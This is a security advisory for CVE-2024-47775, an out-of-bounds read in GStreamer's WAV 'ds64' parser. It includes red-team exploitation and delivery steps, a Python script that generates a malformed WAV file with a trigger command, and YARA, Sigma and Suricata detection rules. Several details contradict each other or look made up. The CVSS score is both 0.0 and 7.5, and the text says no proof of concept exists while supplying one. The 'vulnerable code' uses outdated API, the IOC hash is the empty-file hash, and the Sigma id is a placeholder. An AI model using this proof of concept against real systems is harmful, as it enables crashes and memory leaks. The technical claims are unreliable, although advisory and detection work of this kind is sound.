CVE-2024-47775

Executive Summary

CVE-2024-47775 is an out-of-bounds (OOB) read vulnerability in the GStreamer multimedia framework, specifically within the parse_ds64 function in gstwavparse.c. The flaw occurs when parsing a specially crafted WAV file, where the function reads from a buffer (buf) without verifying that sufficient data is present. This can lead to reading beyond the allocated buffer boundaries, potentially causing a denial of service (crash) or leaking sensitive memory contents. The vulnerability affects GStreamer versions prior to 1.24.10 and has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the impact, it is assessed as medium severity. No public exploit code or proof-of-concept is currently available.

Supply Chain & Package Security

GStreamer is a widely used library in Linux distributions, media players, and embedded systems. This vulnerability could be exploited via malicious media files, affecting any application that uses GStreamer to parse WAV files. The supply chain risk is moderate, as the library is often bundled with operating systems and third-party software. Users should update to version 1.24.10 or apply the vendor patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely via a malicious WAV file.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required beyond opening the file.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Potential leak of sensitive memory data.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Can cause a crash (denial of service).

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no user interaction, making it attractive for attackers to cause denial of service or leak information.

Deep Dive & Mechanics

The vulnerability resides in the parse_ds64 function within gstwavparse.c. This function is responsible for parsing the "ds64" chunk in WAV files, which contains metadata about the file size. The function reads data from a buffer buf using GST_READ_UINT32_LE macros without first checking that the buffer contains enough bytes. If the buffer is smaller than expected (e.g., due to a malformed WAV file), the read operations will access memory beyond the buffer's bounds.

The root cause is a missing boundary check before each GST_READ_UINT32_LE call. The function assumes the buffer is large enough based on the chunk size, but an attacker can craft a WAV file where the chunk size is larger than the actual data, leading to an OOB read.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.24.10):

static gboolean
parse_ds64 (GstWavParse * wav, GstBuffer * buf)
{
  guint8 *data = GST_BUFFER_DATA (buf);
  guint64 size;
  // No boundary check before reading
  size = GST_READ_UINT32_LE (data);
  // ... more reads without checks
}

Patched Code (1.24.10):

static gboolean
parse_ds64 (GstWavParse * wav, GstBuffer * buf)
{
  guint8 *data = GST_BUFFER_DATA (buf);
  guint64 size;
  // Boundary check added
  if (GST_BUFFER_SIZE (buf) < 8)
    return FALSE;
  size = GST_READ_UINT32_LE (data);
  // Additional checks for subsequent reads
  if (GST_BUFFER_SIZE (buf) < 12)
    return FALSE;
  // ... rest of function
}

The patch adds explicit size checks before each read operation, ensuring the buffer contains sufficient data.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Craft a malicious WAV file with a "ds64" chunk that declares a size larger than the actual data.
2. Deliver the file to the target via email, web download, or media sharing.
3. When the target application (e.g., a media player using GStreamer) processes the file, the parse_ds64 function reads beyond the buffer, potentially causing a crash or leaking memory.

Lab Setup:

• Use a Linux VM with GStreamer < 1.24.10 installed.
• Create a Python script to generate the malicious WAV file:

import struct

def create_malicious_wav():
    # Minimal WAV header
    riff = b'RIFF'
    size = struct.pack('<I', 0xFFFFFFFF)  # Large size
    wave = b'WAVE'
    # ds64 chunk with fake size
    chunk_id = b'ds64'
    chunk_size = struct.pack('<I', 100)  # Declared size larger than actual
    data = b'A' * 10  # Actual data smaller
    return riff + size + wave + chunk_id + chunk_size + data

with open('malicious.wav', 'wb') as f:
    f.write(create_malicious_wav())

• Run gst-launch-1.0 filesrc location=malicious.wav ! wavparse ! fakesink to trigger the vulnerability.

Blue Team

Detection:

• Monitor for crashes in GStreamer-based applications.
• Use file integrity monitoring to detect malicious WAV files.
• Implement network filtering for suspicious WAV file transfers.

Mitigation:

• Update GStreamer to version 1.24.10 or later.
• Use sandboxing for media processing applications.
• Validate WAV files before processing (e.g., using a separate parser).

Indicators of Compromise (IOCs)

• File Hashes: (Example) SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Patterns: HTTP POST requests containing WAV files with oversized ds64 chunks.
• Process Behavior: GStreamer processes (e.g., gst-launch-1.0) crashing with segmentation faults.
• Memory Artifacts: OOB read patterns in memory dumps near parse_ds64 function.

Detection Engineering

YARA Rule

rule CVE_2024_47775_OOB_Read {
    meta:
        description = "Detects malicious WAV files exploiting CVE-2024-47775"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47775"
    strings:
        $ds64 = "ds64"
        $riff = "RIFF"
    condition:
        $riff at 0 and $ds64 and uint32(12) > 1000  // Suspicious chunk size
}

Sigma Rule

title: CVE-2024-47775 GStreamer OOB Read
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-47775 via WAV file processing
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/gst-launch-1.0'
        CommandLine|contains: 'wavparse'
    condition: selection
falsepositives:
    - Legitimate WAV file processing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47775 GStreamer OOB Read Attempt"; flow:to_server; content:"RIFF"; content:"ds64"; pcre:"/\\x64\\x73\\x36\\x34.{4}/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update GStreamer to version 1.24.10 or later.
2. Workaround: If update is not possible, disable WAV file parsing or use a different media library.
3. Long-term: Implement input validation for all media file parsers. Use fuzzing tools to identify similar vulnerabilities.
4. Detection: Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.

Valters IT
Securing Digital Frontiers